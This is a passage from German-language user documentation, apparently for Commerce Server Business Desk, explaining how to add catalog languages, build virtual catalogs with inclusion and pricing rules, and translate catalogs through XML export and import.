  7. Geben Sie im Bereich Produktvarianten im Feld Variantenpreis den Produktpreis ein.
  8. Geben Sie in den Feldern die Eigenschaften einschließlich eines eindeutigen Wertes für die eindeutige ID-Eigenschaft (z. B. SKU) ein, und klicken Sie dann auf Fertig.

    Die Produktvarianteninformationen erscheinen in der Tabelle Produktvarianten.

  9. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Änderungen zu speichern und zum Bildschirm Kataloge zurückzukehren.
  10. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, um die neuen Produktvarianten zu veröffentlichen.

Der aktualisierte Katalog wird in Ihrer Website veröffentlicht.

Siehe auch

Empfohlene Vorgehensweisen für Kataloge

Preisberechnung auf Produktvariantenebene


Hinzufügen einer Sprache zu einem Katalog

Wenn Sie einen Basiskatalog erstellen, legen Sie fest, welche Sprachen von diesem Katalog unterstützt werden. Im Einzelnen legen Sie Folgendes fest:

  • Standardsprache. Wenn Sie keine Standardsprache für einen Katalog angeben, verwendet Commerce Server dieselbe Sprache wie das Microsoft Windows-Betriebssystem auf dem Business Desk-Webserver.
  • Berichtssprache. Geben Sie die Sprache aus dem Katalog an, die für die Eingabe von Datensätzen in das Data Warehouse verwendet werden soll. Diese Sprache wird dann für Berichte verwendet.

    Wenn Sie die Berichtssprache ändern, wird sie verwendet, sobald Ihr Systemadministrator den nächsten Import von Katalogdaten in das Data Warehouse vornimmt. Das kann zur Folge haben, dass einige Daten im Data Warehouse in einer Sprache und andere in einer anderen Sprache vorliegen.

    Ihr Systemadministrator muss mit dem Data Transformation Services (DTS)-Task für den Import von Produktkatalogdaten einen vollständigen Import durchführen, damit alle Daten in derselben Sprache vorliegen. (Bei einem vollständigen Import werden die Eigenschaften des Produkts aktualisiert, da die Produktschlüssel in allen Sprachen identisch sind.)

Nachdem Sie einen Katalog erstellt haben, können Sie jederzeit weitere Sprachen hinzufügen.

Hinweis

  • Ein Katalog kann bis zu zehn Sprachen unterstützen.

So fügen Sie einem Katalog eine Sprache hinzu

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog aus, dem Sie eine Sprache hinzufügen möchten, und klicken Sie dann auf der Symbolleiste auf Ansicht.
  3. Klicken Sie im Bildschirm Katalogeigenschaften – Neu im Bereich Katalogsprachen auf Hinzufügen.
  4. Wählen Sie im Dialogfeld Sprache auswählen die hinzuzufügende Sprache, und klicken Sie dann auf Hinzufügen.
  5. Wenn Sie dem Katalog mehrere Sprachen hinzufügen, geben Sie im Feld Standardsprache die Standardsprache an.
  6. Legen Sie im Feld Berichtssprache die Sprache fest, die für die im Data Warehouse gespeicherten Daten verwendet werden soll. Diese Sprache wird dann für Berichte und Analysen verwendet.
  7. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Änderungen zu speichern und zum Bildschirm Kataloge zurückzukehren.
  8. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, um die Änderungen zu veröffentlichen.

Der aktualisierte Katalog wird in Ihrer Website veröffentlicht.

Siehe auch

Erstellen eines mehrsprachigen Katalogs


Erstellen eines virtuellen Katalogs

Ein virtueller Katalog ist ein Katalog, von dem die Produktdaten in einem oder mehreren Basiskatalogen referenziert werden. Produkte sind in der Datenbank immer nur einmal vorhanden, unabhängig davon, in wie vielen virtuellen Katalogen sie auftauchen.

Es gibt drei wesentliche Verwendungszwecke für virtuelle Kataloge:

  • Zusammenfassen verschiedener Kataloge, die den Benutzern dann als ein Gesamtkatalog angezeigt werden.
  • Das Berechnen und Angeben von Produktpreisen in mehreren Währungen.
  • Das Anbieten von Sonderpreisen oder Produktteilmengen für festgelegte Benutzergruppen.

Sie können bis zu 10.000 virtuelle Kataloge erstellen. Beim Erstellen eines virtuellen Katalogs legen Sie Folgendes fest:

  • Den Namen des Katalogs.
  • Die Währung, die für die Angabe von Produktpreisen verwendet wird (z. B. EUR).

Nach dem Erstellen eines virtuellen Katalogs fügen Sie Einschlussregeln hinzu, durch die Folgendes festgelegt wird:

  • Die Produkte und Kategorien in den Basiskatalogen, die in den virtuellen Katalog aufgenommen werden sollen. Ein virtueller Katalog kann bis zu einer Million Produkte enthalten.
  • Die Preisberechnungsregeln, die für die Produkte und Kategorien gelten sollen. In einem Katalog können Sie bis zu 10.000 Preisberechnungsregeln erstellen.

Informationen zum Aufnehmen eines Basiskatalogs in einen virtuellen Katalog finden Sie unter Aufnehmen von Basiskatalogen in einen virtuellen Katalog. Informationen zum Hinzufügen von Kategorien zu einem virtuellen Katalog erhalten Sie unter Hinzufügen von Kategorien zu einem virtuellen Katalog.

Hinweise

  • Ein virtueller Katalog kann Elemente aus bis zu 80 Basiskatalogen enthalten. Die Aufnahme von Inhalt aus anderen virtuellen Katalogen ist nicht möglich.
  • Die Eigenschaften eines virtuellen Katalogs können Sie durch Festlegen der Standard- und Berichtssprache bearbeiten. Den Basiskatalog müssen Sie nicht bearbeiten.

Dieser Abschnitt beinhaltet folgende Themen:

  • Erstellen eines neuen virtuellen Katalogs
  • Aufnehmen von Basiskatalogen in einen virtuellen Katalog
  • Neu Erstellen eines virtuellen Katalogs
  • Hinzufügen von Preisregeln zu einem virtuellen Katalog
  • Hinzufügen von Kategorien zu einem virtuellen Katalog


Erstellen eines neuen virtuellen Katalogs

Im folgenden Abschnitt wird beschrieben, wie Sie einen virtuellen Katalog erstellen.

So erstellen Sie einen virtuellen Katalog

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Klicken Sie im Bildschirm Kataloge auf der Symbolleiste auf Hinzufügen. Wählen Sie anschließend in der Dropdownliste die Option Neuer virtueller Katalog.
  3. Führen Sie im Bildschirm Katalogeigenschaften – Neuer virtueller Katalog im Bereich Katalogeigenschaften die folgenden Schritte aus:
    Funktion | Aktion
    Name | Geben Sie einen Namen für den neuen Katalog ein. Dieser Name muss eindeutig sein; er darf nicht mit dem Namen eines bestehenden Katalogs in der Commerce Server-Katalogdatenbank übereinstimmen.
    Anfangsdatum | Geben Sie das Anfangsdatum für den Katalog ein. Dieses Datum hat keine Auswirkung auf Ihre Website. Wenn Sie jedoch mit einem Handelspartner Kataloge austauschen, gibt dieses Datum dem Handelspartner an, ab wann der Katalog gültig ist.
    Beendigungsdatum | Geben Sie das Beendigungsdatum für den Katalog ein. Ihre Handelspartner erkennen daran, wie lange der Katalog gültig ist. Standardmäßig ist dies das aktuelle Tagesdatum plus drei Monate. Wenn Sie z. B. im Dezember einen Katalog erstellen, dann liegt das Beendigungsdatum im März.
    Währung | Wählen Sie in der Dropdownliste die Währung für den Katalog.
    Gewichtseinheit | Zeigt die Gewichtseinheit für die Produkte in diesem Katalog an. Dieser Wert wird während der Commerce Server-Konfiguration vom Systemadministrator festgelegt. Wenden Sie sich an Ihren Systemadministrator, wenn dieser Wert geändert werden muss.
  4. Klicken Sie im Bereich Katalogsprachen auf Hinzufügen, um die Sprachen auszuwählen, die von diesem Katalog unterstützt werden.
  5. Wählen Sie im Feld Standardsprache die Standardsprache für Ihren Katalog.

    Wenn Sie keine Standardsprache angeben, verwendet Commerce Server dieselbe Sprache wie das Microsoft Windows-Betriebssystem auf dem Business Desk-Webserver.

  6. Wenn der Katalog mehrere Sprachen unterstützt, geben Sie im Feld Berichtssprache die Sprache an, die für die im Data Warehouse zu speichernden Eigenschaften verwendet werden soll.

    Diese Sprache wird dann für Berichte und Analysen verwendet.

  7. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um den virtuellen Katalog zu speichern und zum Bildschirm Kataloge zurückzukehren.
  8. Informationen zum Aufnehmen von Basiskatalogen in den virtuellen Katalog finden Sie unter Aufnehmen von Basiskatalogen in einen virtuellen Katalog. Diesen Schritt müssen Sie ausführen, damit die Produkte und Kategorien in den virtuellen Katalog aufgenommen werden.

Siehe auch

Aufnehmen von Basiskatalogen in einen virtuellen Katalog

Hinzufügen von Preisregeln zu einem virtuellen Katalog

Hinzufügen von Kategorien zu einem virtuellen Katalog

Preisberechnung von Produkten in mehreren Währungen


Aufnehmen von Basiskatalogen in einen virtuellen Katalog

Nachdem Sie einen virtuellen Katalog erstellt haben, müssen Sie mindestens einen Basiskatalog darin aufnehmen. Beim Aufnehmen eines Basiskatalogs in einen virtuellen Katalog erbt der virtuelle Katalog die Kategorien und Produkte gemäß den festgelegten Einschlussregeln.

Nachdem Sie festgelegt haben, welche Kategorien und Produkte in den virtuellen Katalog aufgenommen werden bzw. von ihm ausgeschlossen bleiben sollen, legen Sie den auf die Produkte und Kategorien anzuwendenden Preis fest.

Informationen zum Hinzufügen neuer Kategorien und Produkte zu einem virtuellen Katalog erhalten Sie unter Hinzufügen von Kategorien zu einem virtuellen Katalog.

Hinweise

  • Ein virtueller Katalog kann Elemente aus bis zu 80 Basiskatalogen enthalten. Die Aufnahme von Inhalt aus anderen virtuellen Katalogen ist nicht möglich.
  • Ein virtueller Katalog kann bis zu einer Million Produkte enthalten.
  • Ein virtueller Katalog kann bis zu 10.000 Preisregeln unterstützen.
  • Einer Kategorie oder einem Produkt kann immer nur eine Einschlussregel zugeordnet werden. Wenn Sie eine zweite Einschlussregel hinzufügen, wird die erste automatisch außer Kraft gesetzt.
  • Die Eigenschaften eines virtuellen Katalogs können Sie durch Festlegen der Standard- und Berichtssprache bearbeiten. Den Basiskatalog müssen Sie nicht bearbeiten.
  • Wenn Sie einen Wert einer Kategorie oder eines Produkts in einem Basiskatalog ändern, wird er im dazugehörigen virtuellen Katalog automatisch auch geändert.
  • Wenn Sie einen Basiskatalog löschen, der in einem virtuellen Katalog enthalten ist, wird keine entsprechende Meldung angezeigt. Nachdem Sie den Basiskatalog gelöscht haben, wird der Katalog im Bildschirm Katalog-Editor mit folgendem Zusatz gekennzeichnet: Neu erstellen = Erforderlich.

So nehmen Sie Basiskataloge in einen virtuellen Katalog auf

  1. Erstellen Sie die Basiskataloge, die in den virtuellen Katalog aufgenommen werden sollen. Anweisungen hierzu finden Sie unter Erstellen eines Basiskatalogs.
  2. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  3. Wählen Sie im Bildschirm Kataloge den virtuellen Katalog aus, mit dem Sie arbeiten möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  4. Klicken Sie im Bildschirm Kataloginhalt – Virtueller Katalog im Bereich Einschließen/Ausschließen auf Neu.

Klicken Sie im Feld Katalog auf die Auslassungsschaltfläche [...].

  1. Wählen Sie im Dialogfeld Katalogauswahl den Basiskatalog, der in den virtuellen Katalog aufgenommen werden soll, und klicken Sie dann auf Auswählen.
  2. Legen Sie im Feld Regel fest, ob alle im Basiskatalog enthaltenen Produkte aufgenommen oder bestimmte Kategorien oder Produkte eingeschlossen bzw. ausgeschlossen werden sollen.
  3. Wenn Sie sich für den Einschluss bzw. Ausschluss eines Produkts oder einer Kategorie entschieden haben, klicken Sie im Feld Artikel auf die Schaltfläche […]. Wählen Sie im Dialogfeld Produktauswahl die Kategorie oder das Produkt, die/das ein- bzw. ausgeschlossen werden soll, und klicken Sie dann auf OK.
    Hinweis
    • Produktnamen mit mehr als 30 Zeichen Länge werden im Dialogfeld Produktauswahl von Commerce Server gekürzt. Wenn Sie mehrere Produkte haben, bei denen die ersten 30 Zeichen identisch sind, werden diese als Duplikate angezeigt.
  4. Klicken Sie zum Speichern der Einschlussregel auf Fertig.

    Der Basiskatalog wird in den virtuellen Katalog aufgenommen. Wiederholen Sie diesen Vorgang, um gegebenenfalls weitere Basiskataloge in den virtuellen Katalog aufzunehmen.

So fügen Sie dem Katalogprodukt bzw. der Katalogkategorie eine Preisregel hinzu

  1. Klicken Sie im Bildschirm Kataloginhalt – Virtueller Katalog im Bereich Regeln auf Neu.

Klicken Sie im Feld Artikel auf die Auslassungsschaltfläche [...].

  1. Wählen Sie im Dialogfeld Produktauswahl die Kategorie oder das Produkt, für die/das die Regel gelten soll, und klicken Sie dann auf OK.
  2. Nehmen Sie im Feld Typ folgende Auswahl vor:
    Typ | Beschreibung
    Preis festlegen | Gibt den Preis des Artikels an.
    Hinzufügen | Gibt den Betrag an, der dem Grundpreis des Artikels hinzugefügt werden soll.
    Prozentsatz hinzufügen | Gibt den Prozentsatz an, der dem Grundpreis des Artikels hinzugefügt werden soll.
    Preisnachlass | Gibt den Betrag an, der vom Grundpreis des Artikels abgezogen werden soll.
    Prozentualer Preisnachlass | Gibt den Prozentsatz an, der vom Grundpreis des Artikels abgezogen werden soll.
  3. Geben Sie im Feld Betrag den Betrag an, der den Preis bzw. den Betrag bilden soll, um den der Preis aus dem Basiskatalog geändert werden soll.
  4. Zum Speichern der Preisregel klicken Sie auf Fertig.

Die Preisregel wird dem virtuellen Katalog hinzugefügt. Wiederholen Sie diesen Vorgang für alle weiteren gewünschten Kategorien und Produkte.

Siehe auch

Erstellen eines virtuellen Katalogs

Hinzufügen von Kategorien zu einem virtuellen Katalog


Neuerstellen eines virtuellen Katalogs

Ein virtueller Katalog muss neu erstellt werden, nachdem ein Basiskatalog, Kategorien oder Produkte aufgenommen wurden bzw. nachdem ein Basiskatalog aus dem virtuellen Katalog gelöscht wurde. Durch die Neuerstellung werden die Kategorien und Produkte für den virtuellen Katalog verfügbar und können Preisregeln unterworfen werden.

Ein virtueller Katalog muss neu erstellt werden, sobald Sie Produkte und Kategorien hinzufügen, bearbeiten oder löschen.

Hinweis

  • Führen Sie die Neuerstellung eines virtuellen Katalogs nicht auf einem Produktionsserver durch. Die Benutzer können dann nicht auf den Katalog zugreifen. Erstellen Sie deshalb virtuelle Kataloge nur auf Ihrem Entwicklungsserver neu. Wenn die Kataloge materialisiert sind, können Sie sie auf Ihre Produktionsserver replizieren. Die Transaktionen der Benutzer werden dadurch nicht beeinträchtigt.

So erstellen Sie einen virtuellen Katalog neu

  1. Wählen Sie im Bildschirm Kataloge den gewünschten Katalog aus, und klicken Sie anschließend auf der Symbolleiste auf Virtuelle Kataloge neu erstellen.

    Es wird die Meldung "Katalogneuerstellung wurde erfolgreich gestartet" angezeigt.

  2. Klicken Sie auf OK und anschließend auf Katalog-Editor, um die Katalogliste zu aktualisieren.

    Der von Ihnen gewählte Katalog wird in der Liste mit dem Status Aktualisiert angezeigt.

    Wenn im Bereich Status noch Neuerstellung angezeigt wird, warten Sie ein paar Sekunden, und klicken Sie dann erneut auf Katalog-Editor.

Siehe auch

Empfohlene Vorgehensweisen für Kataloge


Hinzufügen von Preisregeln zu einem virtuellen Katalog

Eine Preisregel definiert den Festpreis eines Artikels oder die Erhöhung bzw. Verringerung des Preises aus dem Basiskatalog um einen bestimmten Betrag.

Für Preisregeln gilt die Währung des virtuellen Katalogs. Beispiel: Wenn die Produktpreise im Basiskatalog in Euro und die im virtuellen Katalog in US-Dollar angegeben sind, werden die Preise bei Anwendung der Preisregel in US-Dollar angezeigt.

Hinweis

  • Einer Kategorie oder einem Produkt kann immer nur eine Preisregel zugeordnet werden. Wenn Sie eine zweite Preisregel hinzufügen, wird die erste automatisch außer Kraft gesetzt.

So fügen Sie Preisregeln zu einem virtuellen Katalog hinzu

  1. Nehmen Sie einen oder mehrere Basiskataloge in den virtuellen Katalog auf. Anweisungen dazu finden Sie unter Aufnehmen von Basiskatalogen in einen virtuellen Katalog.
  2. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  3. Wählen Sie im Bildschirm Kataloge den virtuellen Katalog aus, zu dem Sie Preisregeln hinzufügen möchten. Klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  4. Klicken Sie im Bildschirm Kataloginhalt – Virtueller Katalog im Bereich Regeln auf Neu.

Klicken Sie im Feld Artikel auf die Auslassungsschaltfläche [...].

  1. Wählen Sie im Dialogfeld Produktauswahl die Kategorie oder das Produkt, für die/das die Regel gelten soll, und klicken Sie dann auf OK.

Hinweis

  • Produktnamen mit mehr als 30 Zeichen Länge werden im Dialogfeld Produktauswahl von Commerce Server gekürzt. Wenn Sie mehrere Produkte haben, bei denen die ersten 30 Zeichen identisch sind, werden diese als Duplikate angezeigt.
  1. Nehmen Sie im Feld Typ folgende Auswahl vor:
    Typ | Beschreibung
    Preis festlegen | Gibt den Preis des Artikels an.
    Hinzufügen | Gibt den Betrag an, der dem Grundpreis des Artikels hinzugefügt werden soll.
    Prozentsatz hinzufügen | Gibt den Prozentsatz an, der dem Grundpreis des Artikels hinzugefügt werden soll.
    Preisnachlass | Gibt den Betrag an, der vom Grundpreis des Artikels abgezogen werden soll.
    Prozentualer Preisnachlass | Gibt den Prozentsatz an, der vom Grundpreis des Artikels abgezogen werden soll.
  2. Geben Sie im Feld Betrag den Betrag an, der den Preis bzw. den Betrag bilden soll, um den der Preis aus dem Basiskatalog geändert werden soll.
  3. Zum Speichern der Preisregel klicken Sie auf Fertig.

Die Preisregel wird dem virtuellen Katalog hinzugefügt. Wiederholen Sie diesen Vorgang für alle weiteren gewünschten Kategorien und Produkte.

Siehe auch

Aufnehmen von Basiskatalogen in einen virtuellen Katalog

Hinzufügen von Kategorien zu einem virtuellen Katalog


Hinzufügen von Kategorien zu einem virtuellen Katalog

Die Vorgehensweise zum Hinzufügen von Kategorien zu einem virtuellen Katalog ist dieselbe wie für das Hinzufügen dieser Elemente zu einem Basiskatalog. Anweisungen dazu finden Sie unter Hinzufügen einer Kategorie zu einem Katalog.

Alle Kategorienamen in einem Katalog müssen eindeutig sein. Wenn ein virtueller Katalog die Kategorien aus mehreren Basiskatalogen erbt, können Kategorienamen doppelt vorliegen. Um das zu verhindern, wird beim Hinzufügen einer Kategorie zu einem Basiskatalog der Name des Basiskatalogs, aus dem die Kategorie stammt, an den Kategorienamen angehängt.

Im folgenden Beispiel soll der Basiskatalog eines fiktiven Herstellers Ass-Kleidung folgende Kategorien enthalten:

Ass-Kleidung (Name des Basiskatalogs)

Trikots
Hosen

Wenn diese Kategorien einem virtuellen Katalog hinzugefügt werden, erscheint der Name der Kategorien im virtuellen Katalog wie folgt:

Bekleidung aller Hersteller (Name des virtuellen Katalogs)

Trikots (Ass-Bekleidung)
Hosen (Ass-Bekleidung)

Siehe auch

Empfohlene Vorgehensweisen für Kataloge

Hinzufügen einer Kategorie zu einem Katalog

Hinzufügen eines Produkts zu einem Katalog


Erstellen eines mehrsprachigen Katalogs

Sie können für Ihre Website einen Katalog erstellen, in dem die Produktdaten in mehreren Sprachen gespeichert sind. Die Angaben könnten beispielsweise in den Sprachen Englisch, Deutsch und Chinesisch angezeigt werden.

Im Folgenden finden Sie eine Übersicht über die Schritte, die Sie für die Erstellung eines mehrsprachigen Katalogs ausführen müssen:

  1. Hinzufügen einer mehrsprachigen Eigenschaftsdefinition für die Artikel, die in mehreren Sprachen angezeigt werden sollen. Sie können beispielsweise die folgenden mehrsprachigen Eigenschaften erstellen:
    • Produktname – Mehrsprachiger Text
    • Beschreibung – Mehrsprachiger Text
    • Farbe – Mehrsprachige Auswahl

    (Die Kategorienamensanzeige hat die Standardeinstellung Mehrsprachiger Text.)

  2. Hinzufügen von Produktdefinitionen, in denen die mehrsprachigen Eigenschaften verwendet werden.

    Beispielsweise können Sie jeder Produktdefinition die Eigenschaften "Produktname", "Beschreibung" und "Farbe" zuweisen.

  3. Erstellen des Katalogs und Angeben der Sprachen, die der Katalog unterstützen soll (z. B. Englisch, Deutsch und Chinesisch).
  4. Hinzufügen von Produkten und Kategorien, die über diese mehrsprachigen Eigenschaften verfügen (z. B. Produktname und Beschreibung).
  5. Übersetzen der mehrsprachigen Produkte und Kategorien in die vom Katalog unterstützten Sprachen. Für das Übersetzen des Katalogs stehen Ihnen folgende Möglichkeiten zur Verfügung:
    • Wenn die Namen vieler Produkte übersetzt werden müssen, exportieren Sie den Katalog mit dem Katalog-Editor-Modul als XML und schicken ihn dann einem Übersetzer. Nach erfolgter Übersetzung reimportieren Sie den Katalog in die von Commerce Server verwendete Katalog-Datenbank. Anschließend können Sie den Katalog gegebenenfalls mit Commerce Server Business Desk aktualisieren und veröffentlichen. Anweisungen dazu finden Sie unter Übersetzen eines Katalogs durch Exportieren/Importieren.
    • Wenn nur die Namen einiger Produkte übersetzt werden müssen, geben Sie die Produktdaten im Katalog-Editor-Modul von Hand in der anderen Sprache ein. Anweisungen dazu finden Sie unter Übersetzen eines Katalogs mit Business Desk.


Übersetzen eines Katalogs mit Business Desk

Wenn nur die Namen einiger Produkte übersetzt werden müssen, geben Sie die Produktdaten im Katalog-Editor-Modul von Commerce Server Business Desk von Hand in der anderen Sprache ein. Die dazu erforderlichen Schritte werden in diesem Thema näher beschrieben.

Wenn die Namen vieler Produkte übersetzt werden müssen, exportieren Sie den Katalog mit dem Katalog-Editor-Modul in eine XML-Datei und lassen ihn dann intern oder durch ein Übersetzungsbüro übersetzen. Anweisungen dazu finden Sie unter Übersetzen eines Katalogs durch Exportieren/Importieren.

So übersetzen Sie einen Katalog in Business Desk

  1. Vergewissern Sie sich, dass es sich bei den zu übersetzenden Produkt- und Kategorieeigenschaften um mehrsprachige Eigenschaftsdefinitionen handelt. Eigenschaften können von Ihrem Siteentwickler mit einem Programm in mehrsprachige Eigenschaften umgewandelt werden. Weitere Informationen finden Sie unter Erstellen eines mehrsprachigen Katalogs.
  2. Nehmen Sie gegebenenfalls die neue Sprache in Ihren Katalog auf. Anweisungen dazu finden Sie unter Hinzufügen einer Sprache zu einem Katalog.
  3. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  4. Wählen Sie im Bildschirm Kataloge den Katalog aus, mit dem Sie arbeiten möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  5. Klicken Sie im Bereich Produkte des Bildschirms Kataloginhalt – Katalog auf Suchen, um alle verfügbaren Produkte anzuzeigen. Sie können aber auch unter Verwendung eines der anderen Suchverfahren nur die Produkte auflisten, deren Bezeichnungen übersetzt werden sollen.
  6. Wählen Sie das zu übersetzende Produkt, und klicken Sie dann auf Bearbeiten.
  7. Wählen Sie im Sprachfeld der Symbolleiste aus der Dropdownliste die Sprache, die Sie bearbeiten möchten. Zur Auswahl stehen nur die vom Katalog unterstützten Sprachen.
  8. Geben Sie den übersetzten Text in die mehrsprachigen Felder ein. Neben diesen Feldern wird jeweils Mehrsprachig angezeigt. Der von Ihnen eingegebene Wert gilt nur für die gerade gewählte Sprache.

    Hinweise

    • Wenn Sie Text oder Werte in nicht mehrsprachigen Feldern ändern, wird die Änderung für das Produkt in alle Sprachen übernommen.
    • Wenn Ihre Tastatur die Zeichen der einzugebenden Sprache nicht unterstützt, müssen Sie mit einem Eingabemethoden-Editor (IME) arbeiten.
  9. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um den übersetzten Text zu speichern und zum Bildschirm Kataloginhalt zurückzukehren.
  10. Wählen Sie ein anderes Produkt, oder klicken Sie auf der Symbolleiste auf Zurück.

Siehe auch

Übersetzen eines Katalogs durch Exportieren/Importieren

Erstellen eines mehrsprachigen Katalogs

Hinzufügen einer Sprache zu einem Katalog

Importieren einer XML-Katalogdatei

Exportieren eines Katalogs

Exportieren einer CSV-Katalogdatei nach Excel


Übersetzen eines Katalogs durch Exportieren/Importieren

Wenn die Namen vieler Produkte übersetzt werden müssen, exportieren Sie den Katalog mit dem Katalog-Editor-Modul in eine XML-Datei und lassen ihn dann intern oder durch ein Übersetzungsbüro übersetzen. Nach erfolgter Übersetzung reimportieren Sie den Katalog in die von Commerce Server verwendete Katalogdatenbank.

Wenn nur die Namen einiger Produkte übersetzt werden müssen, geben Sie die Produktdaten im Katalog-Editor-Modul von Business Desk von Hand in der anderen Sprache ein. Anweisungen dazu finden Sie unter Übersetzen eines Katalogs mit Business Desk.

Das Übersetzen eines in eine XML-Datei exportierten Katalogs umfasst vier elementare Schritte:

  1. Vorbereiten der XML-Datei für das Übersetzen. Nach dem Export des Katalogs in die Standardsprache fügen Sie den Sprachcode für die Zielsprache hinzu. Ihr Systemadministrator kann Ihnen eine Liste der Sprachcodes zur Verfügung stellen. Die Codes sind in der Datei languages.xml im config-Ordner von Business Desk gespeichert.
  2. Übersetzen der Katalogdefinition (in der XML-Datei auch als Katalogschema bezeichnet). Falls der Katalog das erste Mal in eine andere Sprache übersetzt wird, oder wenn sich seit der letzten Übersetzung die Katalogdefinition geändert hat, führen Sie die folgenden Schritte aus:
    1. Fügen Sie für jeden Katalog in der Definition die Kataloganzeigenamensattribute für die neue Sprache hinzu.
    2. Fügen Sie für jede Kategorie in der Definition die Kategorieanzeigenamensattribute für die neue Sprache hinzu.
    3. Fügen Sie für jede Eigenschaft in der Definition die Eigenschaftsanzeigenamensattribute für die neue Sprache hinzu.
  3. Übersetzen des Kataloginhalts. In diesem Schritt, in dem Language=<target> ist, muss der Übersetzer jeweils die Begriffe für "Value", "displayName" und "PropertyValue" in die andere Sprache übertragen. Die Multiplechoicewerte im Kataloginhalt müssen genauso wie in der Katalogdefinition übersetzt werden.
  4. Importieren des Katalogs Zum Import des übersetzten Katalogs wählen Sie zunächst im Dialogfeld XML-Katalog importieren die Option XML-Datei überprüfen (nicht importieren), um den Inhalt zu prüfen. Wenn sich die Datei bei der Überprüfung als fehlerfrei herausstellt, können Sie sie importieren.

    Wählen Sie im Dialogfeld XML-Katalog importieren nicht die Option Vorhandene Daten im Katalog löschen. Andernfalls werden nur die zielsprachlichen Entsprechungen in der Katalogdatenbank gespeichert.

Siehe auch

Übersetzen eines Katalogs mit Business Desk

Exportieren einer CSV-Katalogdatei nach Excel


Übersetzen der Katalogdefinition

Die Katalogdefinition übersetzen Sie, wenn der betreffende Katalog das erste Mal in eine andere Sprache übersetzt wird oder wenn die Katalogdefinition geändert wurde.

Wenn die Katalogdefinition bereits in mehrere Sprachen übersetzt wurde und Sie jetzt eine weitere Sprache hinzufügen, enthält die Ausgabedatei beim Export des Katalogs in eine XML-Datei alle Sprachen (also nicht nur die Basissprache).

Serielles Übersetzen der Katalogdefinition in mehrere Sprachen

So übersetzen Sie die Katalogdefinition

Serielles Übersetzen der Katalogdefinition in mehrere Sprachen

Das Übersetzen der Katalogdefinition in mehrere Sprachen kann nicht in einem Schritt erfolgen. Stattdessen müssen Sie die Übersetzung erst in eine Sprache vornehmen, dann die Katalogdatei reimportieren und schließlich wieder exportieren, um die Übersetzung in die nächste Sprache vornehmen zu können.

Beispiel: Sie exportieren eine englischsprachige Katalogdatei, lassen Sie ins Deutsche übersetzen und importieren Sie dann wieder. Jetzt liegt die Katalogdatei in zwei Sprachen vor. Wenn Sie die Katalogdatei erneut exportieren, werden Deutsch und Englisch angezeigt. Dann lassen Sie das Englische in eine dritte Sprache übersetzen (z. B. Japanisch) und führen einen Reimport durch. Beim nächsten Export liegt die Katalogdatei in drei Sprachen vor.

Die folgende Abbildung zeigt den Ablauf beim Übersetzen der Katalogdefinition in mehrere Sprachen.

So übersetzen Sie die Katalogdefinition

  1. Vergewissern Sie sich, dass es sich bei den zu übersetzenden Produkt- und Kategorieeigenschaften um mehrsprachige Eigenschaftsdefinitionen handelt. Eigenschaften können von Ihrem Siteentwickler mit einem Programm in mehrsprachige Eigenschaften umgewandelt werden.

    Weitere Informationen zum Erstellen von mehrsprachigen Eigenschaften finden Sie unter Erstellen eines mehrsprachigen Katalogs.

  2. Exportieren Sie die XML-Katalogdatei in die Sprache, aus der sie übersetzt werden soll.
  3. Fügen Sie im Bereich <CatalogSchema> der XML-Ausgabedatei Sprachtags für den Kataloganzeigenamen sowie für jeden Value-, DisplayName- und PropertyValue-Wert hinzu. Der Übersetzer wird die "duplizierten" Informationen übersetzen.

    Folgendes <DisplayName>-Tag legt beispielsweise fest, dass der angezeigte Name für die Eigenschaftsdefinition ProductColor in US-Englisch (en-US) vorliegen soll:

    <Property name="ProductColor" dataType="string" IsFreeTextSearchable="0"
    IncludeInSpecSearch="0" MinValue="1" MaxValue="100" DisplayOnSite="1"
    AssignAll="0" ExportToDW="1" DisplayInProductsList="0" Multilingual="1"
    IsRequired="0" id="CatalogProperty8">
    <DisplayName Value="Color" Language="en-US" />

    Um die Übersetzung der Datei ins Deutsche vorzubereiten, würden Sie ein Sprachtag für de-DE hinzufügen und damit festlegen, dass der angezeigte Name für diese Eigenschaft auf Deutsch vorliegen soll (siehe folgendes Beispiel):

    <Property name="ProductColor" dataType="string" IsFreeTextSearchable="0"
    IncludeInSpecSearch="0" MinValue="1" MaxValue="100" DisplayOnSite="1"
    AssignAll="0" ExportToDW="1" DisplayInProductsList="0" Multilingual="1"
    IsRequired="0" id="CatalogProperty8">
    <DisplayName Value="Color" Language="en-US" />
    <DisplayName Value="Color" Language="de-DE" />

  4. Nach dem Hinzufügen der erforderlichen Sprachtags schicken Sie die XML-Katalogdatei an den Übersetzer.
  5. Der Übersetzer muss im Abschnitt <CatalogSchema> der XML-Ausgabedatei, in dem Language=<target> ist, jeweils die Begriffe für Value, displayName und PropertyValue in die andere Sprache übertragen.

    Das folgende Beispiel zeigt die Eigenschaftsdefinition ProductColor nach der Übersetzung ins Deutsche:

    <Property name="ProductColor" dataType="string" IsFreeTextSearchable="0"
    IncludeInSpecSearch="0" MinValue="1" MaxValue="100" DisplayOnSite="1"
    AssignAll="0" ExportToDW="1" DisplayInProductsList="0" Multilingual="1"
    IsRequired="0" id="CatalogProperty8">
    <DisplayName Value="Color" Language="en-US" />
    <DisplayName Value="Farbe" Language="de-DE" />

  6. Vor dem Import der XML-Katalogdatei muss deren Inhalt geprüft werden. Wählen Sie dazu im Dialogfeld XML-Katalog importieren die Option XML-Datei überprüfen (nicht importieren).
  7. Wenn die Überprüfung der XML-Katalogdatei keine Fehler ergeben hat, importieren Sie die Datei, um die übersetzte Katalogdefinition in die Katalogdatenbank aufzunehmen.

    Wählen Sie im Dialogfeld XML-Katalog importieren nicht die Option Vorhandene Daten im Katalog löschen. Andernfalls werden die Katalogdaten in der Katalogdatenbank gelöscht und nur die zielsprachlichen Entsprechungen gespeichert.

